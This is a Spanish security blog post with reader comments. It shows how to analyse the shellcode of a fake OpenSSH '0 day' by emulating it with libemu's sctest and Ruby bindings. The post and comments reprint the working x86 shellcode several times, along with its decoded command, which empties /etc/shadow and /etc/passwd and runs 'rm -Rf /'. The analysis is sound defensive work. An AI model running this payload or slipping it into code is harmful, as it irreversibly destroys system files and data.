libemu para el análisis dinámico del fake 0 day para OpenSSH
En la entrada anterior hemos recogido el análisis estático del falso 0 day para openssh y la shellcode utilizada para ejecutar el payload dañino:
echo "" > /etc/shadow"; echo "" > /etc/passwd; rm -Rf /
Sin embargo para un rápido análisis dinámico del falso 0 day, y concretamente de su payload, NX puede suponer un escollo, tal y como ha comentado Eloi Sanfelix a través de twitter.
En este caso, la libemu nos puede venir de perlas para poder hacer un análisis rápido de la shellcode:
"\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x68\x2f\x73\x68" "\x00\x68\x2f\x62\x69\x6e\x89\xe3\x52\xe8\x39\x00\x00\x00\x65" "\x63\x68\x6f\x20\x22\x22\x20\x3e\x20\x2f\x65\x74\x63\x2f\x73" "\x68\x61\x64\x6f\x77\x20\x3b\x20\x65\x63\x68\x6f\x20\x22\x22" "\x20\x3e\x20\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64\x20" "\x3b\x20\x72\x6d\x20\x2d\x52\x66\x20\x2f\x00\x57\x53\x89\xe1" "\xcd\x80";
Podemos utilizar la utilidad «sctest» que acompaña a la librería:
$ sctest -S -s 30 < shellcode.bin verbose = 0 execve int execve (const char *dateiname=0012fe8a={/bin/sh}, const char * argv[], const char *envp[]); stepcount 30 int execve ( const char * dateiname = 0x0012fe8a => = "/bin/sh"; const char * argv[] = [ = 0x0012fe7a => = 0x0012fe8a => = "/bin/sh"; = 0x0012fe7e => = 0x0012fe92 => = "-c"; = 0x0012fe82 => = 0x0041701d => = "echo "" > /etc/shadow ; echo "" > /etc/passwd ; rm -Rf /"; = 0x00000000 => none; ]; const char * envp[] = 0x00000000 => none; ) = 0;
Por comentarlo, las llamadas al sistema que «emu_env_linux_new()» hookea por defecto (y que por tanto podríamos monitorizar con «sctest» tal y como lo hemos lanzado) están definidas en el array «syscall_hooks», en el fichero «env_linux_syscalls.h» y son las siguientes (para el entorno linux!):
"accept" "bind" "connect" "dup2" "execve" "exit" "fork" "getpeername" "getsockname" "getsockopt" "listen" "recv" "recvfrom" "recvmsg" "send" "sendmsg" "sendto" "shutdown" "socket" "socketpair"
Por cierto, poco a poco, vamos avanzando los bindings de la libemu para ruby, que están disponibles en https://github.com/testpurposes/ruby-libemu (ojo! los bindings están totalmente en fase de desarrollo!!, y además lo avanzamos muy poco a poco :P, pero tal vez a alguien le puede ser útil o interesante 🙂 )
Hola,
no consigo reproducir lo que mostras en el articulo
$ sctest -S -s 30 < shellcode.bin
verbose = 0
cpu error opcode cd not supported
stepcount 14
Que estoy haciendo errado?
Gracias.
8 febrero, 2011 en 17:55
Es posible que en shellcode.bin no hayas dumpeado correctamente la shellcode.
Por ejemplo, puedes utilizar el siguiente ruby para guardar la shellcode en raw en shellcode.bin:
############
shellcode = «\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x68\x2f\x73\x68″+
«\x00\x68\x2f\x62\x69\x6e\x89\xe3\x52\xe8\x39\x00\x00\x00\x65″+
«\x63\x68\x6f\x20\x22\x22\x20\x3e\x20\x2f\x65\x74\x63\x2f\x73″+
«\x68\x61\x64\x6f\x77\x20\x3b\x20\x65\x63\x68\x6f\x20\x22\x22″+
«\x20\x3e\x20\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64\x20″+
«\x3b\x20\x72\x6d\x20\x2d\x52\x66\x20\x2f\x00\x57\x53\x89\xe1″+
«\xcd\x80»
File.open(«shellcode.bin», «wb») do |file|
file.write(shellcode)
end
############
Con el shellcode.bin que te generará el script anterior el sctest debería funcionar sin más problemas, a ver si hay suerte! 🙂
8 febrero, 2011 en 21:38
Hola,
Un poco fuera ya de contexto jaja pero por si todavía puede interesar, hemos añadido los bindings de ruby necesarios para poder hacer el test de esta shellcode desde ruby:
# based on sctest
require ‘rlibemu’
include Libemu
CODE_OFFSET=0x417000
# dangerous «rm» shellcode
shellcode =
«\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x68\x2f\x73\x68″+
«\x00\x68\x2f\x62\x69\x6e\x89\xe3\x52\xe8\x39\x00\x00\x00\x65″+
«\x63\x68\x6f\x20\x22\x22\x20\x3e\x20\x2f\x65\x74\x63\x2f\x73″+
«\x68\x61\x64\x6f\x77\x20\x3b\x20\x65\x63\x68\x6f\x20\x22\x22″+
«\x20\x3e\x20\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64\x20″+
«\x3b\x20\x72\x6d\x20\x2d\x52\x66\x20\x2f\x00\x57\x53\x89\xe1″+
«\xcd\x80»
emu = Emulator.new
#set the registers to the initial values
emu.cpu_reg32_set(Emulator::EAX, 0)
emu.cpu_reg32_set(Emulator::ECX, 0)
emu.cpu_reg32_set(Emulator::EDX, 0)
emu.cpu_reg32_set(Emulator::EBX, 0)
emu.cpu_reg32_set(Emulator::ESP, 0)
emu.cpu_reg32_set(Emulator::EBP, 0)
emu.cpu_reg32_set(Emulator::ESI, 0)
emu.cpu_reg32_set(Emulator::EDI, 0)
# set the flags
emu.cpu_eflags_set(0)
# write the code to the offset
emu.memory_write_block(CODE_OFFSET, shellcode)
# set eip to the code
emu.cpu_eip_set(CODE_OFFSET)
emu.memory_write_block(0x0012fe98, shellcode)
emu.cpu_reg32_set(Emulator::ESP, 0x0012fe98)
# test
env = Environment.new(emu)
j = 0
300.times do |i|
if emu.cpu_parse == -1
break
end
if env.linux_syscall_check
env.linux_syscall_hook
else
emu.cpu_step
end
end
env.profile_debug
El resultado:
$ ruby test_environment.rb
execve
int execve (const char *dateiname=0012fe8a={/bin/sh}, const char * argv[], const char *envp[]);
int execve (
const char * dateiname = 0x0012fe8a =>
= «/bin/sh»;
const char * argv[] = [
= 0x0012fe7a =>
= 0x0012fe8a =>
= «/bin/sh»;
= 0x0012fe7e =>
= 0x0012fe92 =>
= «-c»;
= 0x0012fe82 =>
= 0x0041701d =>
= «echo «» > /etc/shadow ; echo «» > /etc/passwd ; rm -Rf /»;
= 0x00000000 =>
none;
];
const char * envp[] = 0x00000000 =>
none;
) = 0;
Los bindings de ruby (totalmente en desarrollo!) están disponibles en https://github.com/testpurposes/ruby-libemu
18 febrero, 2011 en 23:33